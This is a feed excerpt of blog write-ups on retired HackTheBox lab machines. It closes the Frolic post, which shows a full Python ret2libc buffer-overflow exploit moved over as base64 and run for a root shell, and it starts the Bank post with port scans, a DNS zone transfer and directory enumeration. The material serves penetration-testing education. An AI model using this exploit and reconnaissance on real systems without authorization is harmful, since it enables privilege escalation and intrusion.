&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb-peda&lt;span class="nv"&gt;$ &lt;/span&gt;r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Program received signal SIGSEGV, Segmentation fault.
0x62413762 &lt;span class="k"&gt;in&lt;/span&gt; ?? &lt;span class="o"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I take &lt;code&gt;0x62413762&lt;/code&gt; and pass it to &lt;code&gt;pattern_offset&lt;/code&gt; to identify how many bytes long I need to pad my payload to overflow the buffer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;artis3n@kali-pop:~&lt;span class="nv"&gt;$ &lt;/span&gt;msf-pattern_offset &lt;span class="nt"&gt;-q&lt;/span&gt; 0x62413762
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Exact match at offset 52
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;52&lt;/code&gt; it is.&lt;/p&gt;

&lt;p&gt;Now returning to the target machine, I need to get the memory address of the &lt;code&gt;libc&lt;/code&gt; library used by the file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@frolic:/home/ayush/.binary&lt;span class="nv"&gt;$ &lt;/span&gt;ldd rop
ldd rop
        linux-gate.so.1 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;  &lt;span class="o"&gt;(&lt;/span&gt;0xb7fda000&lt;span class="o"&gt;)&lt;/span&gt;
        libc.so.6 &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 &lt;span class="o"&gt;(&lt;/span&gt;0xb7e19000&lt;span class="o"&gt;)&lt;/span&gt;
        /lib/ld-linux.so.2 &lt;span class="o"&gt;(&lt;/span&gt;0xb7fdb000&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I see that it is using &lt;code&gt;/lib/i386-linux-gnu/libc.so.6&lt;/code&gt; from the &lt;code&gt;0xb7e19000&lt;/code&gt; address in memory.&lt;/p&gt;

&lt;p&gt;I then need to grab the memory location of several symbols from &lt;code&gt;libc.so.6&lt;/code&gt; so I can invoke them in our exploit. From &lt;code&gt;libc.so.6&lt;/code&gt; I need the memory address of the executables &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;exit&lt;/code&gt;, and &lt;code&gt;/bin/sh&lt;/code&gt;. Knowing these, I can craft an exploit known as &lt;a href="https://en.wikipedia.org/wiki/Return-to-libc_attack"&gt;ret2libc&lt;/a&gt;, or "return-to-libc."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@frolic:/home/ayush/.binary&lt;span class="nv"&gt;$ &lt;/span&gt;readelf &lt;span class="nt"&gt;-s&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; system
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; systemb/i386-linux-gnu/libc.so.6 |  
   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The memory address of &lt;code&gt;system@@GLIBC_2.0&lt;/code&gt; is &lt;code&gt;0x0003ada0&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@frolic:~/html/playsms&lt;span class="nv"&gt;$ &lt;/span&gt;readelf &lt;span class="nt"&gt;-s&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt;  
&lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 | &lt;span class="nb"&gt;grep  
   &lt;/span&gt;112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 &lt;span class="nb"&gt;exit&lt;/span&gt;@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  1849: 000b07c8    24 FUNC    WEAK   DEFAULT   13 _Exit@@GLIBC_2.1.1
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The memory address of &lt;code&gt;exit@@GLIBC_2.0&lt;/code&gt; is &lt;code&gt;0x0002e9d0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For &lt;code&gt;/bin/sh&lt;/code&gt;, since it is not a system call, I have to find the memory address by grepping for it among the human-readable text in &lt;code&gt;libc.so.6&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@frolic:~/html/playsms&lt;span class="nv"&gt;$ &lt;/span&gt;strings &lt;span class="nt"&gt;-atx&lt;/span&gt; /lib/i386-linux-gnu/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"/bin/sh"&lt;/span&gt;
p &lt;span class="s2"&gt;"/bin/sh"&lt;/span&gt;x /lib/i386-linux-gnu/libc.so.6 | gre 
 15ba0b /bin/sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And I see the memory address of &lt;code&gt;/bin/sh&lt;/code&gt; is &lt;code&gt;0x0015ba0b&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I put all of this together in a Python exploit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;buffersled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"A"&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;

&lt;span class="n"&gt;libc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xb7e19000&lt;/span&gt;
&lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;libc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x0003ada0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;libc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x0002e9d0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;binsh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;libc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x0015ba0b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;buffersled&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;binsh&lt;/span&gt;

&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The memory addresses I got for &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;exit&lt;/code&gt;, and &lt;code&gt;/bin/sh&lt;/code&gt; are in relation to the memory address of &lt;code&gt;libc&lt;/code&gt;, so I need to add the hex value of each memory address to &lt;code&gt;libc&lt;/code&gt;'s hex value to get the correct position in memory. I pack the memory addresses with &lt;code&gt;&amp;lt;I&lt;/code&gt; for &lt;a href="https://chortle.ccsu.edu/AssemblyTutorial/Chapter-15/ass15_3.html"&gt;little-endian&lt;/a&gt;. And I &lt;code&gt;print&lt;/code&gt; the payload to turn it into the input for our &lt;code&gt;rop&lt;/code&gt; program.&lt;/p&gt;

&lt;p&gt;I test the python script and see it does appear to generate the 52-byte buffer sled and then my hex code. I base64-encode the python script to move it onto my target.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;artis3n@kali-pop:~/shares/htb/frolic$ python exploit.py 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�=���y��
                                                            J��
artis3n@kali-pop:~/shares/htb/frolic$ cat exploit.py | base64 -w 0
IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgppbXBvcnQgc3RydWN0CgpidWZmZXJzbGVkID0gIkEiKjUyCgpsaWJjID0gMHhiN2UxOTAwMApzeXN0ZW0gPSBzdHJ1Y3QucGFjaygnPEknLCBsaWJjICsgMHgwMDAzYWRhMCkKZXhpdCA9IHN0cnVjdC5wYWNrKCc8SScsIGxpYmMgKyAweDAwMDJlOWQwKQpiaW5zaCA9IHN0cnVjdC5wYWNrKCc8SScsIGxpYmMgKyAweDAwMTViYTBiKQoKcGF5bG9hZCA9IGJ1ZmZlcnNsZWQgKyBzeXN0ZW0gKyBleGl0ICsgYmluc2gKCnByaW50IHBheWxvYWQKCg==
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I then store the code into a file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@frolic:/dev/shm&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nv"&gt;IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgppbXBvcnQgc3RydWN0CgpidWZmZXJzbGVkID0gIkEiKjUyCgpsaWJjID0gMHhiN2UxOTAwMApzeXN0ZW0gPSBzdHJ1Y3QucGFjaygnPEknLCBsaWJjICsgMHgwMDAzYWRhMCkKZXhpdCA9IHN0cnVjdC5wYWNrKCc8SScsIGxpYmMgKyAweDAwMDJlOWQwKQpiaW5zaCA9IHN0cnVjdC5wYWNrKCc8SScsIGxpYmMgKyAweDAwMTViYTBiKQoKcGF5bG9hZCA9IGJ1ZmZlcnNsZWQgKyBzeXN0ZW0gKyBleGl0ICsgYmluc2gKCnByaW50IHBheWxvYWQKCg&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; exploit.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And I can confirm the python script has made it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@frolic:/dev/shm&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;exploit.py
&lt;span class="nb"&gt;cat &lt;/span&gt;exploit.py
&lt;span class="c"&gt;#!/usr/bin/env python&lt;/span&gt;

import struct

buffersled &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"A"&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;52

libc &lt;span class="o"&gt;=&lt;/span&gt; 0xb7e19000
system &lt;span class="o"&gt;=&lt;/span&gt; struct.pack&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;, libc + 0x0003ada0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; struct.pack&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;, libc + 0x0002e9d0&lt;span class="o"&gt;)&lt;/span&gt;
binsh &lt;span class="o"&gt;=&lt;/span&gt; struct.pack&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;, libc + 0x0015ba0b&lt;span class="o"&gt;)&lt;/span&gt;

payload &lt;span class="o"&gt;=&lt;/span&gt; buffersled + system + &lt;span class="nb"&gt;exit&lt;/span&gt; + binsh

print payload

www-data@frolic:/dev/shm&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With my payload on the box, I just need to call &lt;code&gt;rop&lt;/code&gt; and pass in the output of the python script's execution. And I get a root shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@frolic:/home/ayush/.binary&lt;span class="nv"&gt;$ &lt;/span&gt;./rop &lt;span class="si"&gt;$(&lt;/span&gt;python /dev/shm/exploit.py&lt;span class="si"&gt;)&lt;/span&gt;

./rop &lt;span class="si"&gt;$(&lt;/span&gt;python /dev/shm/exploit.py&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I can now collect the root flag.&lt;/p&gt;

</description>
      <category>pentest</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Writeup: HackTheBox Bank - NO Metasploit</title>
      <dc:creator>Ari Kalfus</dc:creator>
      <pubDate>Fri, 26 Jun 2020 22:28:40 +0000</pubDate>
      <link>https://forem.com/artis3n/writeup-hackthebox-bank-no-metasploit-3mga</link>
      <guid>https://forem.com/artis3n/writeup-hackthebox-bank-no-metasploit-3mga</guid>
      <description>&lt;p&gt;This series will follow my exercises in &lt;a href="https://www.hackthebox.eu"&gt;HackTheBox&lt;/a&gt;. All published writeups are for retired HTB machines. Whether&lt;br&gt;
 or not I use Metasploit to pwn the server will be indicated in the title.&lt;/p&gt;
&lt;h1&gt;
  
  
  Bank
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;&lt;small&gt;Difficulty: Easy&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;small&gt;Machine IP: 10.10.10.29&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I start off with my customary port scan. I've stopped using &lt;a href="https://github.com/Tib3rius/AutoRecon"&gt;AutoRecon&lt;/a&gt; for a while now because I found much more value in running specific enumerations myself.&lt;/p&gt;

&lt;p&gt;I identify the open ports and then interrogate them for additional information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; 10.10.10.29

Starting Nmap 7.80 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2020-06-06 15:18 EDT
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.10.10.29
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.013s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 65532 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;24.39 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,53,80 10.10.10.29
Starting Nmap 7.80 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2020-06-06 15:19 EDT
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.10.10.29
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.016s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 &lt;span class="o"&gt;(&lt;/span&gt;DSA&lt;span class="o"&gt;)&lt;/span&gt;
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="o"&gt;)&lt;/span&gt;
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 &lt;span class="o"&gt;((&lt;/span&gt;Ubuntu&lt;span class="o"&gt;))&lt;/span&gt;
|_http-server-header: Apache/2.4.7 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.13 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.16 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.18 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.2 - 4.9 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.8 - 3.11 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.8 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.4 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.9 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.2 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;
No exact OS matches &lt;span class="k"&gt;for &lt;/span&gt;host &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test &lt;/span&gt;conditions non-ideal&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Network Distance: 2 hops
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel                                                          

TRACEROUTE &lt;span class="o"&gt;(&lt;/span&gt;using port 80/tcp&lt;span class="o"&gt;)&lt;/span&gt;                                                                                   
HOP RTT      ADDRESS                                                                                             
1   18.16 ms 10.10.14.1                                                                                          
2   18.27 ms 10.10.10.29 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A &lt;code&gt;nmap -sU&lt;/code&gt; scan shows that &lt;code&gt;udp/53&lt;/code&gt; is open as well.&lt;/p&gt;

&lt;p&gt;An item of particular interest to me is that &lt;code&gt;tcp/53&lt;/code&gt; is open. DNS is primarily served over UDP. The &lt;code&gt;tcp/53&lt;/code&gt; port is often used for &lt;a href="https://www.acunetix.com/blog/articles/dns-zone-transfers-axfr/"&gt;zone transfers&lt;/a&gt;. I will definitely want to try that. Additionally, the Apache web server on &lt;code&gt;tcp/80&lt;/code&gt; will definitely be a primary target during my enumeration.&lt;/p&gt;

&lt;p&gt;Now ready to dig into these findings, I attempt a zone transfer. HTB machines usually have the domain name &lt;code&gt;&amp;lt;box&amp;gt;.htb&lt;/code&gt;, so I guess that the server is &lt;code&gt;bank.htb&lt;/code&gt;. It works! I discover some additional subdomains for this server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig axfr @10.10.10.29 bank.htb

&lt;span class="p"&gt;;&lt;/span&gt; &amp;lt;&amp;lt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; DiG 9.16.3-Debian &amp;lt;&amp;lt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; axfr @10.10.10.29 bank.htb
&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;1 server found&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;;;&lt;/span&gt; global options: +cmd
bank.htb.               604800  IN      SOA     bank.htb. chris.bank.htb. 2 604800 86400 2419200 604800
bank.htb.               604800  IN      NS      ns.bank.htb.
bank.htb.               604800  IN      A       10.10.10.29
ns.bank.htb.            604800  IN      A       10.10.10.29
www.bank.htb.           604800  IN      CNAME   bank.htb.
bank.htb.               604800  IN      SOA     bank.htb. chris.bank.htb. 2 604800 86400 2419200 604800
&lt;span class="p"&gt;;;&lt;/span&gt; Query &lt;span class="nb"&gt;time&lt;/span&gt;: 8 msec
&lt;span class="p"&gt;;;&lt;/span&gt; SERVER: 10.10.10.29#53&lt;span class="o"&gt;(&lt;/span&gt;10.10.10.29&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;;;&lt;/span&gt; WHEN: Sat Jun 06 16:06:36 EDT 2020
&lt;span class="p"&gt;;;&lt;/span&gt; XFR size: 6 records &lt;span class="o"&gt;(&lt;/span&gt;messages 1, bytes 171&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reviewing my notes after the fact, I never actually tried modifying &lt;code&gt;etc/hosts&lt;/code&gt; and reaching out to &lt;code&gt;chris.bank.htb&lt;/code&gt;. So the zone transfer is likely a red herring. Everything we need is on &lt;code&gt;bank.htb&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So, let's check out the web server. I start enumerating end points with &lt;a href="https://github.com/OJ/gobuster"&gt;Gobuster&lt;/a&gt;, one of my favorite tools. I don't find anything.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/big.txt &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.10.10.29
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.0.1
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@_FireFart_&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:            http://10.10.10.29
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:        10                                                                                            
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/big.txt                                             
&lt;span class="o"&gt;[&lt;/span&gt;+] Status codes:   200,204,301,302,307,401,403                                                                   
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:     gobuster/3.0.1                                                                                
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:        10s                                                                                           
&lt;span class="o"&gt;===============================================================&lt;/span&gt;                                                   
2020/06/06 15:26:56 Starting gobuster                                                                             
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
/.htaccess &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/.htpasswd &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/server-status &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
